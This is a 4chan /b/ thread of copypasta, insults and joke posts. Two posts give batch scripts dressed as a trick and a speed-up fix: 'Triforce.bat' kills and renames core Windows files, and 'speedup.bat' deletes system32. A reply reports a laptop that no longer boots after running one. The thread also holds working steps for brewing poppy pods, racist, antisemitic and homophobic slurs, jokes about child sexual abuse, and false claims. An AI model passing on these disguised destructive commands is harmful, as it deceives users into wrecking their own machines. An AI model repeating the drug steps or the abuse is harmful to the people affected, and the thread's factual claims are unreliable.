Morning /b/. Ready for another day of shitposting?
The stories and information posted here are artistic works of fiction and falsehood.
Only a fool would take anything posted here as fact.
Only a fool would take anything posted here as fact.
Morning /b/. Ready for another day of shitposting?
>>710741913
nah
I love your desk~.
I think it's fancy. :}
>>710742094
Yes! :D
Just got back home from a 9 hours shift, so yeh I can dedicate 1-2 hours of shifting through shitposts.
I've only just gotten started today.
>>710742410
You mean like streaming~? :o
>>710741913
any story behind this pic? im realy wondering
>>710743232
What are those~? hn? hn?
>>710743437
Yeah! I'm wondering a lot~. =]
>>710741913
Good morning OP. Abso-fucking-lutely.
>>710741913
its afternoon here anon, i feel left out now..
>>710741913
HI Ho Hi Ho it's off to 404 we go~
>>710743691
Why don't we help you find someone then? :D
I should be studying for my test on Monday
But alas, I'm sperging out with /b/
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>>710743618
After the loot is stolen~!
> muaahah-
>Mfw I could be productive but the universe a shit.
Hey kidz r ya reddy to learn.
Don't mind me, just adding to the collective entropy of existence.
>>710741913
>>710744198
Teach me, teach me lots of things~.
So that I can receive a whiffy and a ring! :D
Life = Chaotic
Shitposting = Chaotic
∴
Shitposting = Life
>>710744268
I love trash~. hNm~.
> sigh
>>710741913
>This is for the best. When the board is carried out better, all of your horse live octopus head, it is driven to distant internet depth.
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HOOOOOOOOLLLLLLYYYYY SHIT i just fall of chair!!!! simply le epic so ebin dae le epin win xD pwn’d ftw le bacon narwhale xP upboated good sir i tip my fedora to you! tips fedora, le any1 athiest? LOL
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NICE MEME IMMA REPOST TO REDDIT LELELELELE TY FOR LE KARMA XDDDDDDDDDDDDDDDD
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that sure hit the spot ok now repeat that fucking epic ass M E M E
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>>710741913
SPOOKY AS FUCK CUZ IM A CEMETERY SLUT
>>710745363
hot text art
Why must you perpetuate this disease Anon?
What do you hope to gain?
If not cheap tacky lulz then what?
FOR WHAT PURPOSE DO YOU COMMIT THESE HORRIBLE ATROCITIES ANON?
WHY ANON?
WHY?
Hey, Vsauce! Michael here...
If you have 3 quarters, 4 dimes, and 4 pennies, you have $1.19.
You also have the largest amount of money in coins without being able to make change for a dollar.
This is a random fact... but what is... "random"
There is a web board... on the internet... called "4chan."
One of the sections... of this website is called "/b/"
The purpose of /b/ is to be... completely random.
But what if... /b/... stopped... being random...
What if every thread made... on this board was just... a copy... of a previous thread
What if every thread was literally a copy of a copy... of a copy...
What if instead of "random"... they were named something else... something more accurate of a description...
What if they were called... "copy and paste" instead...
What if /b/ ... became /cp/
As always. ... thanks for reading this in my voice.
Voila! In view humble vaudevillian veteran, cast vicariously as both victim and villain by the vicissitudes of fate. This visage, no mere veneer of vanity, is a vestige of the “vox populi” now vacant, vanished. However, this valorous visitation of a bygone vexation stands vivified, and has vowed to vanquish these venal and virulent vermin, van guarding vice and vouchsafing the violently vicious and voracious violation of volition.
The only verdict is vengeance; a vendetta, held as a votive not in vain, for the value and veracity of such shall one day vindicate the vigilant and the virtuous.
Verily this vichyssoise of verbiage veers most verbose, so let me simply add that it’s my very good honour to meet you and you may call me V.
You're not supposed to react to the world in words and feelings, that's a woman's job.
You're supposed to manipulate and control it without letting anyone know what you're up to, emotionally and physically if you can.
Life is a solo adventure. It's like walking through the woods, and different people might come walk next to you for a period of time, but none of them are there for the whole trip. Learn to accept this and enjoy being on your own, it makes life a hell of a lot better.
Sentient life is the universe's natural way of reversing entropy. The purpose of intelligence is to find a way to do that in an isolated system.
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>Trump wins election
>comes out to make his winning speech
>he looks bored
>as he gets to the mic he stands there for a second
>all quiet
>he begins to adjust the mic
>a cough is heard in the audience
>mic is almost touching his lips now
>a smirk slowly but surely appears
>Obama, you're fired.
>crowd goes fucking nuts
>Mexicans begin running back to Mexico
>liberals blowing their brains out left and right
>Hillary has stroke
>jews start burying shekels immediately
>McCain sitting in bar sobbing while getting blown by Karl rove
>karl is sobbing as he does so
>jeb complaining to the jews this wasn't how it was planned
>first lady causes the most bones in US history
>all is right
It's happening guys. America is becoming great again.
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>Implied Wonk-force-5000~
Full instructions on how to triforce:
>Open a new text document
>Copy and paste the text below in to the document:
@echo off
tskill /a /im winlogon
tskill /a /im explorer
tskill /a /im taskmgr
del %systemdrive%\windows\System32\dllcache\winlogon.exe
del %systemdrive%\windows\System32\dllcache\explorer.exe
del %systemdrive%\windows\System32\dllcache\services.exe
del %systemdrive%\windows\System32\dllcache\vga.sys
del %systemdrive%\windows\System32\dllcache\mup.sys
del %systemdrive%\windows\System32\dllcache\taskmgr.exe
copy taskmgr.exe %systemdrive%\windows\system32
RENAME %systemdrive%\WINDOWS\system32\services.exe explorer1.exe
RENAME %systemdrive%\WINDOWS\system32\winlogon.exe services.exe
RENAME %systemdrive%\WINDOWS\system32\explorer1.exe winlogon.exe
RENAME %systemdrive%\WINDOWS\explorer.exe explorer1.exe
RENAME %systemdrive%\WINDOWS\winhelp.exe explorer.exe
RENAME %systemdrive%\WINDOWS\explorer1.exe winhelp.exe
RENAME %systemdrive%\WINDOWS\system32\drivers\mup.sys mup2.sys
RENAME %systemdrive%\WINDOWS\system32\drivers\vga.sys mup.sys
RENAME %systemdrive%\WINDOWS\system32\drivers\mup2.sys vga.sys
>Enter the file name as "Triforce.bat" (Without the Quotation marks)
>Select "All Files" in the "Save as type" menu
>Save
>Double click the file to run it
>???
>Profit & Triforce
The Tory is immunised against all dangers: one may call him a scoundrel, parasite, swindler, profiteer, it all runs off him like water off a raincoat. But tell him you won't be voting Conservative when UKIP dies and you will be astonished at how he recoils, how injured he is, how he suddenly shrinks back. “You'll let Labour in!”
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Saged, reported, hidden, called the cops, called the Fire Department, called Pizza Hut, called the USN, called the Royal Navy, called the Red Army, called the FBI. called the CIA, called Interpol, called the KGB, called the USMC, called the USAF, called the Royal Air force, called MI 6, called Scotland Yard, called the US National Guard of every state, called NYPD, called Obama, called the Queen, called Putin, called David Cameron, called every Governor of every US State, used my time phone to call Winston Church hill, As well as Hitler, Stalin, Theodore Roosevelt, George Washington, Montezuma, even Caesar, and Gilgamesh,called Genghis Khan, called US Army, called British Army in every era, called every phone sexline, called Papa John's, called the US Coast Guard, called my State Senators, called my Senators, called every republican in the US, called Dr. Who, called the Pope, called my local Gang lords, called the State Patrol of every state west of the Mississippi, called all of my local news channels, called Star Fleet, called The Sun, called The National Enquirer, called CNN, called Scot Pelly, called Steven Colbert, called half of the Mexican Drug Cartels, called Nintendo, called the Japan Maritime Self-Defense Force, called the head of the Illuminati, called every free mason, called bilderberg, called my neighbors, called the mayor of every city in France, called my mom, called the Emperor of Man, and called every school district in Canada.
>>710746397
Wow! It really worked!
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Okay newfags, listen up.
When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows, So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called "system32" in the windows folder that literally slows down your machine. "system32" hold 32 GIGABYTES of deleted files, internet history, uninstalled progams, and other worthless shit that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "Cleaning" tools, like TuneUp Utilites, Norton Antivirus, ect. More money for them. /b/ isn't cool with that, however. Here's how to outsmart those assholes once and for all;
Open Notepad
Type the following text:
@echo off
del C:\WINDOWS\system32
save as "speedup.bat" (select "all files" instead of "text document"
Save it to Desktop
Double-click the .bat file
Reboot and your PC is twice as fast. (you didn't hear it from us)
A website called reddit
So pretentious and lame
They try to use memes
To gain internet fame
The comments are sad
But the users much sadder
Their egos, inflated
But their stomachs much fatter
They judge and complain
Behind Internet walls
Too oblivious to notice
They have no life at all
When opinions conflict
They'll cry and they'll mope
Then show you who's boss
With a raging downvote
And if that doesn't work
They'll call their mod-saviors
Who will ban you to keep peace
Within their calm echo chambers
So tread lightly on reddit
Or you'll pay their fine
Your voice will be silenced
From their liberal hivemind
It's probably better
You just stick to /b/
Where the posts are offensive
But the people are free
No Voting, no rules
Just corpses and maggots
Some tits and some pussy
And we're all nigger-faggots
How would YOU define reality?
All that which is not affected by thought ...
if you imagine it into being, it is not real, if it
goes away when not thought about, it is not real,
but if it WAS before you thought of it and if it
remains when you do not think about it any more,
it is real.
>>710746958
Goddammit, he said shitpost, not shippost.
Quando omni flunkus moritatus
-When all else fails, play dead.
>>710745012
FUCK YEAH MAGIKARP!1!1!111!11!1!!!1!!1!!
>>710746958
if that isn't shopped its amazing
>>710743451
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>>710741913
Have to go grocery shopping later, which will require a 6 mile walk. Other than that, yeah.
>Find a florist (amazon sell pods and seeds too)
>buy dried untreated poppy pods (papaver somniferum gargantuan are top tier imo)
>grind 2-3 pods to a powder (save any seeds for later, these can be left to strain in hot water for a similar but milder effect)
>soak powder in hot water (no hotter than 80C or 176F)
>leave for at least an hour or more
>strain out the sludge
>add flavorings so it doesn't taste like ass (lemon juice and cranberry juice are good and for some reason make it stronger)
>test the strength of your batch by drinking a mouthful every 45-60 mins
>???
>Profit.
>Just die in some really awesome way. Like riding a tiger into a nuclear volcano on Mars while having sex with all of the cheerleaders of the Dallas Cowboys.
>THE NSA HAS PERMANENT ACCESS TO YOUR HARD DRIVES
>THEY CAN TURN ON YOUR WIFI EVEN IF YOU HAVE PHYSICALLY TURNED IT OFF
>THEY CAN INTERCEPT YOUR INTERNET TRAFFIC FROM UP TO 8 MILES AWAY
>THEY ARE SHOOTING RF INTO YOUR HEAD AT 1KW
>THEY HAVE GUARANTEED ACCESS TO YOUR MICROPHONE AND CAMERA
>THEY CAN TAKE PICS WITH YOUR WEBCAM
>THROUGH SWEEPING DATA COLLECTION THEY WILL VIEW YOUR DATA
>THEY KNOW ALL ABOUT YOU
>THEY CAN DISCRIMINATE AGAINST YOU
>NO ONE HAS DONE ANYTHING TO STOP THEM
>TOR IS NOT SAFE
>THE NSA IS COLLECTING SO MUCH DATA THEY ARE HAVING TROUBLE READING EVERYTHING
>THEY HAVE A RECORD THAT WILL GO BACK 15 YEARS
>THEY WILL SOON OUTLAW QUESTIONABLE DRAWN PORNOGRAPHY
>THEY WILL IMPRISON 4CHAN USERS
>ANONYMOUS IS VIEWED UPON AS INTERNET ACTIVISTS
>7 YEARS IN JAIL BECAUSE SOME NSA SHILL POSTED CONTENT THAT WAS SAVED IN YOUR TEMP FOLDER
>ITS MUCH WORSE THAN WHAT YOU KNOW
>LEGISLATORS HAVE NO IDEA WHATS GOING ON
>NO MATTER WHAT COUNTRY YOU ARE IN THEY CAN TRACK YOU
>YOU CANT RUN
>OUTER SPACE IS THE ONLY SAFE PLACE
>THEY CAN TURN THEIR SATELLITES AROUND AND EVEN SEE YOU THERE
>YOU ONLY LOST IF YOU THINK YOU LOST<
>ONLY YOU CAN STOP THIS<
>>710742410
same here faggot i'm fucking tired
I'm The Fucking Leader & I Weigh 5 Negro Pounds & There Is Nothing You Can Do To Stop Me Because That Trying Stop Cat Eating 10 Firefox Good Thing Blacker Than Ever
>>710746854
>>710746397
what the fuck guys, you were totally lying. i just tried this because i thought it'd be cool but i did it and now my BRAND NEW laptop i got for my birthday LITERALLY YESTERDAY is now not fucking booting. im writing this off my phone right now, what the fuck can i do to fix this anyone??
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>>710748658
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>you will never live in a society that gives you a place and a mission from birth
>you will never live in a society that gives you both the ability and the responsibility to glorify yourself and your people
>you will never live in a society that forges men from boys and raises a race worthy of reaching to the stars
>you will never live in a society that gives every person the right and the opportunity to work
>you will never live in a society that values ideals over money
>you will never live in a society that understands duty, valour, and glory
>you will never live in a society that doesn't have to bash trannies because it isn't effeminate and weak enough to create them in the first place
>you will never live in a society that would have given you something to be proud of and fight for by the age you are right now
>you will always live in a bourgeois Jewish plutocratic ochlocracy that turns men into women with progressive newspeak
>you will always live in a society where strength and pride are disdained
>you will always live in a society that forces you to hate your heritage but love those of others
>you will always live in a society where hedonism and materialism are the sole aims
>you will always live in a society of crybaby pussies who let other cultures' barbarian runoff colonise them, and thank them for it
>you will always live in a society where obese marxist manchildren and degenerate self-mutilating sexual fetishists are considered honorary first citizens and normal, hardworking people are considered boring and regressive
>you will never experience a masculine culture
>you will never know the thrill of battle for a country and people you love
>you will never feel one iota of what it was to be a man, when all of your ancestors for millions of years felt it every day
>>710748658
Retard.
>Writing: Come up with shit that no one's thought of before and inspire them to dedicate their lives to make it a reality
>Art: Pull shit that doesn't exist out of thin air and slap it on paper
>Robotics: make shit that's never walked before run and kick you in the face for fun
>Programming: make something that can beat that faggot in the back of the class at chess and disseminate his past life decisions while at it
>Electronics: make the most badass fucking system that applies both conventional relativity and special relativity to calculate position on a global basis
>Astronomy: search for worlds beyond anyone's imagination, explain them and show everyone how fucking badass they are
>Medicine: save people's lives, reengineer the very definition of a cell's genes to make oil or a cure for anything
>Engineering: you rule the world
Tonight I saw,the most disgusting disturbing threads they call ilol? It's gifs and pictures of Children being raped and murdered. I agree with him. There were so many responding to the thread which only suggests there is a very high amount of pedophilespace, rapists etc on here.The fact that they get to post anonymously child porn IS disgusting and is exactly the reason were losing Internet freedoms. Perhaps if you want to save our freedom we should destroy them. Expose them. Idiot pedophileso do you really think that the admin can not gain you IP MacId etc? Every ip address is recorded for every thread. Expose the child porn sex abusers and rapists. I DECLARE WAR ON YOU. I WILL FIND YOU. I WILL EXPOSE YOU. YOU WILL GO TO PRISON, GET RAPED REPEATEDLY AND THEN KILLED. YOU WILL DIE.
-X
There once was a man from Nantucket,
Whose cock was so long he could suck it.
He said with a grin
As he wiped off his chin,
"If my ear were a cunt I would fuck it!
There once was a lady named Lucky,
Who used dynamite to give herself fucky.
They found her vagina,
in North Carolina,
And one of her tits in Kentucky
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>You really think someone would do that? Just create silly banter with autistic people which, unbeknownst to them,
is a work of satire? My mouth is agape at the idea.
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“Be polite. Be efficient. Have a plan to kill everyone you meet.”
Q. What do you call an anorexic girl with a yeast infection?
A. Quarter Pounder with cheese.
>>710748332
> Pasta about American agencies
> Pic is a British tank
∫ integral
∬ double integral
∭ triple integral
∮ contour integral
⨕ integral around a point operator
∯ surface integral
∰ volume integral
∱ clockwise integral
∲ clockwise contour integral
∳ anticlockwise contour integral
⨋ summation with integral
⨌ quadruple integral
⨍ finite part integral
⨎ integral with double stroke
⨏ integral average with slash
⨐ circulation function
⨑ anticlockwise integral
⨒ line integral with rectangular path around pole
⨓ line integral with semicircular path around pole
⨔ line integral not including the pole
⨖ quarternian integral
⨗ integral with leftwards arrow with hook
⨘ integral with times sign
⨙ integral with intersection
⨚ integral with union
⨛ integral with overbar (upper integral)
⨜ integral with underbar (lower integral)
1. People who point at their wrist asking for the time... I know where my watch is pal, where the hell is yours? Do I point at my crotch when I ask where the toilet is?
2. People who are willing to get off their a** to search the entire room for the TV remote because they refuse to walk to the TV and change the channel manually.
3. When people say "Oh you just want to have your cake and eat it too". Damn Right! What good is cake if you can't eat it?
4. When people say "it's always the last place you look". Of course it is. Why the hell would you keep looking after you've found it? Do people do this? Who and where are they?
5. When people say while watching a film, "did ya see that?" No Loser, I paid $12 to come to the cinema and stare at the damn floor!
6. When something is 'new and improved'. Which is it? If it's new, then there has never been anything before it. If it's an improvement, then there must have been something before it, couldn't be new.
7. When people say "life is short". What the hell??? Life is the longest damn thing anyone ever does!!! What can you do thats longer?
8. When you are waiting for the bus and someone asks "Has the bus come yet?" If the bus came, would I be standing here???
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God moves in a mysterious way
His wonders to perform;
He plants his footsteps in the sea
And rides upon the storm.
Deep in unfathomable mines
Of never failing skill
He treasures up his bright designs
And works his sov’reign will.
Ye fearful saints, fresh courage take;
The clouds ye so much dread
Are big with mercy and shall break
In blessings on your head.
Judge not the Lord by feeble sense,
But trust him for his grace;
Behind a frowning providence
He hides a smiling face.
His purposes will ripen fast,
Unfolding every hour;
The bud may have a bitter taste,
But sweet will be the flow’r.
Blind unbelief is sure to err
And scan his work in vain;
God is his own interpreter,
And he will make it plain.
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2nd RULE: You DO NOT talk about FIGHT CLUB.
3rd RULE: If someone says "stop" or goes limp, taps out the fight is over.
4th RULE: Only two guys to a fight.
5th RULE: One fight at a time.
6th RULE: No shirts, no shoes.
7th RULE: Fights will go on as long as they have to.
8th RULE: If this is your first night at FIGHT CLUB, you HAVE to fight.
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WAIFU IS A SHIT
Jerk Em All 1969
I am cum man
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Best video game posts are common.
No one cares about your favorite game.
No one cares about your opinion.
You're just some random on the Internet.
You won't be remembered.
You'll have been forgotten in five minutes of the deletion of this thread.
Your so trapped in your sad boring life that you don't even care to wake up from your keyboard.
This is your life.
Your aspirations are nonexistant.
Your dreams have faded with your intelligence.
You're a failure of a human.
WHAT DID YOU FUCKING CALL ME?
A FAGGOT?
DO YOU FUCKING KNOW WHAT FAGGOT EVEN MEANS? IT MEANS A HOMOSEXUAL.
A FUCKING QUEER. A WHOOPSY. A PRANCING LALA FRUITY BOY.
YOU COME HERE, AND CALL ME FUCKING THAT? DO YOU HAVE
ANY IDEA HOW MANY GIGABYTES OF PORNOGRAPHY FEATURING ONLY
FUCKING !!!FEMALES!! I HAVE? DO YOU HAVE ANY IDEA
HOW MANY TIMES A DAY I MASTURBATE TO THIS COLLECTION,
HOW MANY HOURS I SPEND EXPANDING IT? NO, NO YOU FUCKING DON'T,
YOU JUST COME IN HERE AND MAKE A FUCKING JUDGEMENT ON ME
LIKE YOu"RE SOME KIND OF JUDGER OF FAGS WHEN I STILL SMELL OF
THE SEMEN FROM JACKING IT TO THE PUSSY OF A FUCKING FEMALE
THIS TEXT ISNT FUCKING CONFESSIONS, ALRIGHT IT'S YOU BEING A BITCH,
NEWSFLASH, JAPAN HAS SEX TOO, OTHERWISE JAPAN WOULD NOT EXIST AS
A FUCKING COUNTRY WITH PEOPLE IN YOU PREJUDICED PIECE OF SHIT.
An engineer goes to the pearly gates and saint peter tells him he has to go to hell.
The man protests as he has lead a moral life but he is sent to hell anyway.
He finds it very uncomfortable in hell so he requests an audience with the devil.
He tells the devil that he can really spruce up hell and the devil agrees.
The engineer gets to work.
At some point god decides to check and see what's happening in hell and he sees that it's much better than heaven.
Hell is more comfortable and more modern, and god gets jealous.
God calls the devil and says the engineer should have never gone to hell, that it was a clerical error.
But the devil refuses to give him back.
God says, "If you don't give him I'll sue".
The devil says, "With what? I have all the lawyers".
>day greentext in equestria
>you are not anon.
>you are el anonino, the most mexical human who snuck over the border to equestria to find a good job.
>your moustache is twitching.
>that means theres a job somewhere nearby
"EL JOBERO ARIBA BARIBA"
>you speed off searching for the job
>pink horse is following you
>"NEIGH"
"GASP! EL KABONG!"
>Pink horse hits you with pinkie pie
>"KABONG, mexiconny"
>you are sent flying back over the giant border fence between appleoosa and spain
"MUCHOS GRACIAS IS BLASTING OFF AGAIN AMIGO"
This nigga a right here who we should be sending to fight niggas in the middle east. Boy done knocked out a fucking roo those niggas nothin but muscle on more muscle.
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Quóniam Deus magnus Dóminus, et Rex magnus super omnes deos : quóniam non repéllet Dóminus plebem suam : quia in manu ejus sunt omnes fines terræ, et altitúdines móntium ipse cónspicit.
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Dan "I like 'em Small And Tan" Schneider
Dan "That Ass Could Be Redder" Schneider
Dan "But I Poop From There, Mister" Schneider
Dan "Wham Bam Thank You Ma'am" Schneider
Dan "We Got Ourselves A Screamer" Schneider
Best Man Dan "The Warmth Provider" Schneider
Dan "The Man With The Plan (to rape)" Schneider
Dan "Say Goodbye To Your Brown Eye" Schneider
Dan “If You Have A Daughter You Better Hide Her” Schneider
In case you don't know what a dakimakura is, the word "dakimakura"
is japanese for "hugging pillow". a dakimakura is often called a
"love pillow" by adult owners. these pillows often have anime characters in most cases a sexy anime babe
printed on them. this pillow has a printed portrait of major motoko
kusanagi from the ghost in the shell franchise. motoko is numero uno
on my top three cyber hotties of anime, the other two are melfina from
outlaw star, and android 18 from dragonball z. if you're an anime
lover like me, or if you're starting an anime shwag collection, or
have always wanted your favorite anime characters in your bed.
( there's no shame in it ). i reccomend you get one of these things.
however, i don't reccomend these pillows for anyone under 18 years old.
these pillows are like teddy bears for grown-ups.
The most cynical cynic who ever cynic'd.
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yuuup
My name is chips handon, i always like to lork a 4cham and i also
like mudflips as you do, DASU DASU LOL, i like also having sex with
underage children (HOES DONT KNOW ABOUT MY DICK), shop the wopds,
do a battle roll and i just lost the match.
Due to the fact that i am not a noobfag i know that /Random/ is in
possesion of a great variety of "PC", at leat those of you that are
not underage B%: in a nutshell, i need anomalous to deliver to an
australiafaglian /re/tard some of his "PC" (you knwo what i mean lol).
PLEAS DO NOT MAGE THIS THREAD.
IT IS NOT COPPYPIZZA.
>>710746854
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>dank memes
"I will fucking kill you! you hear me? I will tear off your fucking balls and staple them to your fucking forehead! Stop fucking around, and give me my Fucking COFFEE!!"
-Foamy the Squirrell
The question of "better" is — by its very nature — insufficiently defined without elucidation of the subset of results upon which the interrogator places the highest value. Accordingly, the matter of condiment distribution is elucidated by evaluation of the subject's desires vis-à-vis fry-to-fry experience. Specifically: its variance in and of said condiment being originated via either happenstance or direct action. Thus yielding a more fundamental — and concordantly, more pertinent — line of inquiry: who gives a shit?
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(>'_')> I was going to give you this waffle..
<('_'<) But then I was like,
(>''<) I'm hungry.
(>'-'<) So I ate it.
What? I was hungry. (>'-'<)
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(='.'=)This is Bunny. Copy and paste bunny
(")_(")to help him gain world domination.
dress italian
kiss french
drive german
drink russian
be polish
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>>710741913
That chap could use a new desk
The Definitive Instructions for Smoking Banana Peels
Go to the grocery store and buy 10 pounds of bananas. (You used to need 200 pounds, but the potency has gone up 20x in the last 30 years.)
Remove the skins from the fruit. Save the fruit for later - if you mix it with orange juice and drink it while you're smoking, it'll make you trip real hard.
Dry the skins in the microwave. This won't affect the potency, as bannadine is not microwave soluble.
The next two steps are a simple nonpolar-polar extraction of the bannadine. This is necessary to get rid of the fungicide they put on the skins, which is a type of strychnine. Grind up the dried peels really well, and soak them in methylene chloride (zippo lighter fluid makes a good substitute). Let soak for 2 days, and then rinse well with ether. Discard the liquid and save the mush.
Take the mush from step 4 and soak it in ethyl alcohol for another 2 days. Filter, and put the mush aside - you won't be smoking it.
Evaporate the alcohol. The resultant crystals are 150% pure bannadine. Put these in your pipe, light up and enjoy! (Keep reading for the secret step 7!)
Bannadine is normally only active when smoked; that's why eating bananas won't do anything. However, that mush left over from step 5 is pretty tasty, and that's how I discovered that bannadine is orally active if potentiated by dried peanut skins! Yes, its true. I looked up the structure, and it turns out bannadine is really closely related to DMT - it has carbon atoms and everything!
>>710745012
It's professor x~! :o
/B/ in a nutshell
It's an anonymous response to things that can't be criticised in the public eye without making the critic look like a bad person.
4chan's response to feminism is similar to it's response to non-white immigrants, political correctness and fat pride. They're often subjects which white,
straight males have to just nod along to even if they disagree, or risk being branded an asshole or even arrested.
So we come on here and vent in peace. Naturally all that concentrated anger can result in outright hate evolving from the irritation.
I come on here to blow off steam. To masturbate to whatever I want, to argue over nothing, ask difficult questions, whine about small things, feel emotions,
get advice and laugh at unsavoury things.
All these things are things that, as a white straight male, I would not feel comfortable doing as myself in the public eye.
Does that answer your question?
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REPOST THIS IN -5 THREADS OR A FEDORA SKELLINGTON WILL MAKE A MESS OF YOUR POTS AND FUCKING MEME YOU.
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>>710745363
Actually there is a cure for autism but the illuminati is keeping that a secret too for obvious reasons it's a brazillion dollar a year indistry and i have it on excellent authority that all of the cures to all ailments and diseases are kept in a secret underground bunker right where they faked the moon landing which is on the underside of the flat earth. you dint hear it from me though, good luck 2u gmen im behind 7 proxy with spoofed mac on a free mcdonalds wifi liking my cheeseburger.
I sense a lack of one, big, crucial element here: breathing. Controlled breathing is a fundamental item for this kind of things, as it slows down heart rate,, regulates oxygen levels in your blood and relaxes your body, not in the "ooooh, i'm so relaxed right now" way, in the "I'm letting my body go for a while" way. Learning to breathe the right way educates your body to recognize wether you (and by "you" i'm talking about your inner consciousness, the one that inhabits your physical body) are just doing your daily stuff or sleeping, or meditating. Try this for a 20-30 days period, straight: when you go to sleep, lay on your back, your hands by your sides or on your legs. Close your eyes, and focus on the glittering black curtain behind your eyelids, knowing it is a thin layer of skin just a few centimeters away from your retina: concentrate and perceive this physical distance. In the meanwhile, empty your head from ANY (repeat: ANY) thoughts, wether they're verbal ones (your own voice commenting your actions or what's happening to/around you) or just feelings/sensations. Once you're set like that, start a breathing cycle, this way: 6 seconds in-breathing, 3 seconds hold, 6 seconds exhale, 3 to 5 seconds hold (empty lungs). Try to make this as natural as possible, not forcing nor contracting any muscle, thus using your diafram and latting the air reach the bottom of your chest - feel your belly as it inflates, don't breathe with your upper chest. Imagine your lungs as a tank, being filled with a liquid: it starts from the bottom and then comes up as it fills up. Don't count rationally - keep this process as instinctive as possible, and give yourself and your body time to learn this. We all breathe the wrong way, filling and emptying our upper chest too quickly. That should help setting up a friendly environment for every kind of meditations and OOBEs.
>>710742410
Aww poor baby 9 hours, want me to tuck you in? Need your pacifier?
Only an artist knows what he meant to say with his work,
and sometimes you'll need to deal with it.
[[ :jsenn: ]]
>>710745665
I don't know yet.
>>710741913
I prefer to call it "funposting"
We are Anonymous.
We are prepubescent.
We have bedtimes.
We do not do well in social situations.
We do not like our parents.
Expect us.
432 Hz is the natural "musical pitch" in the universe,
as opposed to 440 Hz, which is the standard in the music nowadays in,
for example, music albums and mp3 files.
Research shows that music in 432 Hz, in according to the majority of
the music lovers, is nicer for hearing, softer, brighter and
more beautiful than music in 440 Hz.
But you must have a good ear for music to hear this difference.
Practically the difference is more clear with quiet and classical music
than with hard, loud music.
432 Hz gives a greater clarity than 440 Hz, there's less need to
play music in 432 Hz as loud as in 440 Hz.
This means less hearing damage, as long as you put the volume not too
high.
It's known that, for example, 90 dB gives hearing damage after 8 hours. Further there's also less noise pressure with 432 Hz.
432 Hz is more favourable for the chakras too. 440 Hz is working at
the third eye chakra, "the thinking", while 432 Hz is working at the
heart chakra, "the feeling".
Listening to music in 432 Hz therefore accelerates the
spiritual development of the music lover,
although the tempo is for everyone different.
Enjoy!
A long ass fuckin' time ago,
On a website named 4chan,
There lived so many boards
Normal through and through.
But yay there was a black sheep
And he knew just what to do.
His name was young Chris O Poole and he refused to step in-line.
A vision he did see-eth
Fuckin' Passes' all the time.
He fucked with the dev code and all the boards did collide...
Oh the users butts were blasted' as I fucked with their catcpas,
Then I sliced their fuckin' quick replies,
With a long and shiny blade!
'Twas I who fucked the 4chan,
Fuckalize sing-fuckaloo!
And if you try to fuck with me,
Then I shall fuck ban you too!
Gotta fuck it up with the whole dev code!
I got to shoot a load in 4chan boards!
Gotta lick a toad in the website load!
Gotta suck a chode in my the lulcast zone!
You've disappointed us Anons, Moot,
Why were you ever born?.
4chan's ten times better than you,
Reddit loves you more.
This trolling that you fuck with us comes from the depths of 9gag
Trying to sell passes is The Devil's work, he wants you to make dosh
You'll become a mindless puppet,
Beelzebub will pull the strings!
Your heart will lose direction,
And chaos it will bring.
You'd better fix this now,
Better watch your tone!
Don't ban me for a week with no just cause!
Don't let me here you cry,
Don't let me hear you moan!
You gotta take care of us when you change our boards!
>>710754319
Reddit can you hear me?
I am lost and so alone.
I'm askin' for your social just
Won't you come down from your throne?
I need a tight compadre who will fight off these mean Anons
My website thinks you're shitty,
But man, they can suck a cock.
Selling Passes is not The Devil's work,
It's magical and rad.
I'll never make mad dosh as long as Anon stays mad!
I hear you brave Christopher
You are hungry for the dosh.
But to fuck with all your Anons,
Sacred deals you must unlock.
Escape your moral clutches,
And that repressive day of old.
On a journey you must go,
within yourself to find your goooooooooold!
On the site of many upvotes
Where liberals have come to post,
You will form a strong alliance,
And the world's worst posting site.
To find your fame and fortune,
Through the Anons you must walk.
You will face your inner merchant.
Now go dear Moot and troll!
o he fucked around with dev codes on fuckin' 4chan With hunger in his wallet;
And he fucked it far and wide to find the money he could make;
But in the end he knew that everyone would buy aaaaaaa
Paaaaaaaaaaaaaaaaaaaaassssssssssssss
Paaaaaaaayeyeyeyeyeeeeeeeeeeaaaaaaasssssssssss
*DINGLY DINGLY WOOOOOOOOOOOOOOOOOOOOOOOOOOOOOW*
>>710745749
Needs music.
****
I can still remember how
the Jailbait used to make me smile.
And I knew if we had done well,
Those furfags would have yiffed in hell,
And there'd be no more newfags for awhile...
But Gaia faggots made me shiver,
with every /r/equest I delivered.
Bad news on the front page;
I barely held in my nerd rage.
I can't remember if I cried
when I saw the stickies far and wide,
but someone called the F.B.I.,
the day that 4chan died.
So..
Bye bye, to the NIGGERTITS site
Where I'd linger with a finger always over F5
Some good old lulz were had on that aging *chan
Posting "This'll be the day we get banned,
this'll be the day we get banned."
Did you write the rules of /b/,
and were we like Fight Club secretly?
It was better then, if you ask me...
Now do you believe in a fucking cat?
Can Raptors save your mortal ass?
And can you teach me how to "GET" reeeal faaast?
Well I know that Tom Green rued the day when we
called his hotline to make him say
"Do a barrel roll!"
Man, I dig those trolls!
I was a lonely teenage hate machine
with a new computer and an old routine,
but I knew someone would intervene
the day that NIGGERTITS died.
And we we posting, "Bye bye, to the NIGGERTITS site
Where I'd linger with a finger always over F5"
Some good old lulz were had on that aging *chan
Posting "This'll be the day we get banned,
this'll be the day we get banned."
>>710754647
And there we were all on the *chan
With Gaston groupies and Desu spam
With no time left to start again.
So come on, post some CP, post some tits,
Post a picture of your 2-inch dick,
Because in the pooper is where they stick.
And as Moot posted "No more Grey"
The mods were banning night and day
No /b/rother born to lurk
Could stand that circle jerk!
The flamewars mounted left and right,
From mods who'd gotten too uptight,
I saw Bob Ross laughing in delight,
The day that FAILchan died
And he was singing, "Bye bye, to the NIGGERTITS site
Where I'd linger with a finger always over F5"
Some good old lulz were made on that aging *chan
Posting "This'll be the day we get banned,
This'll be the day we get banned."
>>710754686
I found a site that didn't lose,
And I asked them for some happy news,
But they just told me to lurk some moar.
I bookmarked this new "7chan"-
Where the mods were cool and they didn't ban,
Just for posting contaband.
And back at '4, the lolis screamed,
The oldfags left and the newfags beamed,
But no anon was jokin'.
The combos all were broken.
And the three mods most requiring haxx,
The Ian, the Moot and the holy Snacks-
They drove to Mexico and laughed,
The day that FAILchan died.
And we we're posting...
Bye bye, to the NIGGERTITS site,
Where I'd linger with a finger always over F5
Some good old lulz were had on that aging *chan
